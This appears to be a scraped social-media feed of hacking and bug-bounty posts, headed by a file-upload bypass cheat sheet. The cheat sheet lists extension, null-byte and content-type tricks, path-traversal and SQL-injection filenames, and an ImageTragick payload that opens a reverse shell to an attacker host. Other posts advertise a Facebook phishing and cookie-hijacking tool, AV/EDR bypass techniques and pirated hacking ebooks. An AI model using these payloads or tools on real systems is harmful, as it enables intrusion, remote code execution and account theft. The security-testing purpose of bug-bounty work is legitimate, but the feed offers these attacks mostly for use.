ℂ𝕣𝕒𝕫𝕪 𝕁𝕒𝕔𝕜 🥸 @_crazy_jack

ЧТО такое ФОРЕКС? Это РАЗВОД или НЕТ? Сколько можно зарабатывать? #форек... youtu.be/A2GUj8bdfSA?si… через @YouTube

🔰Facebook Hacking Tool🔰 Ⓜ️ Includes Phishing, Accounts Checking, Spamming, Email Clone, GPS attack, Cookie Hijacking etc. 🔻LINK - bit.ly/2WihJ73

# File upload🚀🔥🤌 ``` # File name validation # extension blacklisted: PHP: .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc ASP: .asp, .aspx, .cer, .asa Jsp: .jsp, .jspx, .jsw, .jsv, .jspf Coldfusion: .cfm, .cfml, .cfc, .dbm Using random capitalization: .pHp, .pHP5, .PhAr pht,phpt,phtml,php3,php4,php5,php6,php7,phar,pgif,phtm,phps,shtml,phar,pgif,inc # extension whitelisted: file.jpg.php file.php.jpg file.php.blah123jpg file.php%00.jpg file.php\x00.jpg file.php%00 file.php%20 file.php%0d%0a.jpg file.php..... file.php/ file.php.\ file. .html # Content type bypass - Preserve name, but change content-type Content-Type: image/jpeg, image/gif, image/png # Content length: # Small bad code: # Impact by extension asp, aspx, php5, php, php3: webshell, rce svg: stored xss, ssrf, xxe gif: stored xss, ssrf csv: csv injection xml: xxe avi: lfi, ssrf html, js: html injection, xss, open redirect png, jpeg: pixel flood attack dos zip: rce via lfi, dos pdf, pptx: ssrf, blind xxe # Path traversal ../../etc/passwd/logo.png ../../../logo.png # SQLi 'sleep(10).jpg sleep(10)-- -.jpg # Command injection ; sleep 10; # ImageTragick push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context # XXE .svg ]> # XSS svg # Filter Bypassing Techniques # upload asp file using .cer & .asa extension (IIS — Windows) # Upload .eml file when content-type = text/HTML # Inject null byte shell.php%001.jpg # Check for .svg file upload you can achieve stored XSS using XML payload # put file name ../../logo.png or ../../etc/passwd/logo.png to get directory traversal via upload file # Upload large size file for DoS attack test using the image. # (magic number) upload shell.php change content-type to image/gif and start content with GIF89a; will do the job! # If web app allows for zip upload then rename the file to pwd.jpg bcoz developer handle it via command # upload the file using SQL command 'sleep(10).jpg you may achieve SQL if image directly saves to DB. # Advance Bypassing techniques # Imagetragick aka ImageMagick: mukarramkhalid.com/imagemagick-im… github.com/neex/gifoeb # Upload file tool github.com/almandin/fuxpl… python3 fuxploider.py --url example.com --not-regex "wrong file type" github.com/sAjibuu/upload… ``` ### Cheatsheet ``` upload.random123        --- To test if random file extensions can be uploaded. upload.php          --- try to upload a simple php file. upload.php.jpeg         ---     To bypass the blacklist. upload.jpg.php          --- To bypass the blacklist. upload.php          --- and Then Change the content type of the file to image or jpeg. upload.php*         --- version - 1 2 3 4 5 6 7. upload.PHP          --- To bypass The BlackList. upload.PhP          --- To bypass The BlackList. upload.pHp          --- To bypass The BlackList. upload .htaccess        ---     By uploading this [jpg,png] files can be executed as php with milicious code within it. pixelFlood.jpg          --- To test againt the DOS. frameflood.gif          --- upload gif file with 10^10 Frames Malicious zTXT          ---     upload UBER.jpg Upload zip file         --- test againts Zip slip (only when file upload supports zip file) Check Overwrite Issue       ---     Upload file.txt and file.txt with different content and check if 2nd file.txt overwrites 1st file SVG to XSS          --- Check if you can upload SVG files and can turn them to cause XSS on the target app SQLi Via File upload        --- Try uploading `sleep(10)-- -.jpg` as file ``` .png>) #BugBounty #BugHunting #WebSecurity #InfoSec #Cybersecurity #BugBountyTips #SecurityResearch #EthicalHacking #AppSec #HackerOne #BugCrowd #InfoSecurity #Hacking #Vulnerability #PenTest #BugDisclosure #SecurityTesting #CyberAware #SecurityFlaws #HackThePlanet

Dorks Collections List Today I've updated list of tools for work with dorks with a link to AI Search Whisper from @henkvaness. Also in this repository you will find dorks lists for various services and command line tools to work with them. github.com/cipher387/Dork…

Introduction to debugging Windows application with #ghidra Credits @clearbluejar clearbluejar.github.io/posts/decompil… #cybersecurity #reverseengineering

keyboard_arrow_left Previous keyboard_arrow_right Next

HTTP Status Codes

I am releasing my kernel fuzzer "SimpleNTSyscallFuzzer" for public use. With the help of this generic fuzzer, i managed to have more than 15 CVEs. Enjoy! github.com/waleedassar/Si…

Airgorah - A WiFi Auditing Software That Can Perform Deauth Attacks And Passwords Cracking kitploit.com/2024/01/airgor…

Cómo Administrar los Servicios de Windows con PowerShell | #PowerShell #ServiciosWindows #Windows esgeeks.com/administrar-se…

AV/EDR Bypass Techniques payhip.com/b/wh9MX

Tiny Scan Free URL inspection online tool: - ip - location - desktop/mobile screenshots - number of links, javascript files and stylesheets - technology profile - number of request and bytes transferred and more. tiny-scan.com Tip by @PaulMyersBBC

Tips and tricks for hardening a Linux based machine madaidans-insecurities.github.io/guides/linux-h… #Linux #cybersecurity

keyboard_arrow_left Previous keyboard_arrow_right Next

Dstike Deuther Wi-Fi Hacking Watch

Build a Business Analytics Dashboard Website using Python and MySQL #python #mysql morioh.com/a/4dc41fee9160…

Top 9 eBooks for Hackers and Pentesters📚 #Books Hacking Web Applications - Hacking Exposed 🕯 mega.nz/file/LCYWWRYI#… Hacking for Dummies 🤑 mega.nz/file/iKQ2jZSQ#… Network Security Bible 💻 mega.nz/file/mLAUEbDQ#… Ethical Hacking and Countermeasures 🛡️ mega.nz/file/2fAyRb4C#… The Little Black Book of Computer Viruses 🧙 mega.nz/file/SDICALSJ#… XSS Attacks - Cross Site Scripting Exploits and Defense 💼 mega.nz/file/3XJCyD5C#… The Shellcoder's Handbook 🏥 mega.nz/file/3OZgwT6Z#… Wireshark for Security Professionals 💻 mega.nz/file/7TRUCZCZ#… ➡️ Give 300+ Reactions 😎

Getting deeper into Burp Proxy. The 5th video in the Burp Suite Deep Dive course is up on my channel. #pentesting #appsec #cybersecurity #bugbounty youtube.com/watch?v=0Vhx-Y…

Bug Bounty Tips: Finding additional targets connected to your widescope target. Have you exhausted your options for discovering associated assets through CIDR, Reverse WHOIS, Favicon Hash, DNS Records, Acquisitions, etc.? Here's another method to identify additional assets related to a target site: explore tag history. This site reveals all associated assets based on the usage of the same tag. Here's how to access this valuable data: 1️⃣ You must login to builtwith.com 2️⃣ Visit builtwith.com/relationships/… You'll find a list of assets associated with your target domain. Use this information to further verify, investigate, and hunt for potential findings on additional targets. #BugBounty #HackerOne #BugCrowd #BugBountyTips #SecurityTips 🐛🔍🛡️

Linux Command Cheatsheet

Python's collections.ChainMap: Managing Configuration Layers with Ease When you dive into #python collections, you might frequently encounter Counter, defaultdict, and namedtuple—but let's not overlook the versatile ChainMap. ChainMap is a hidden gem for combining multiple dictionaries into a seamless overlay, perfect for establishing a hierarchy of settings. It's particularly handy when you have a cascade of preferences, like command-line arguments that override environment variables, which in turn trump default values. Check out this practical code snippet: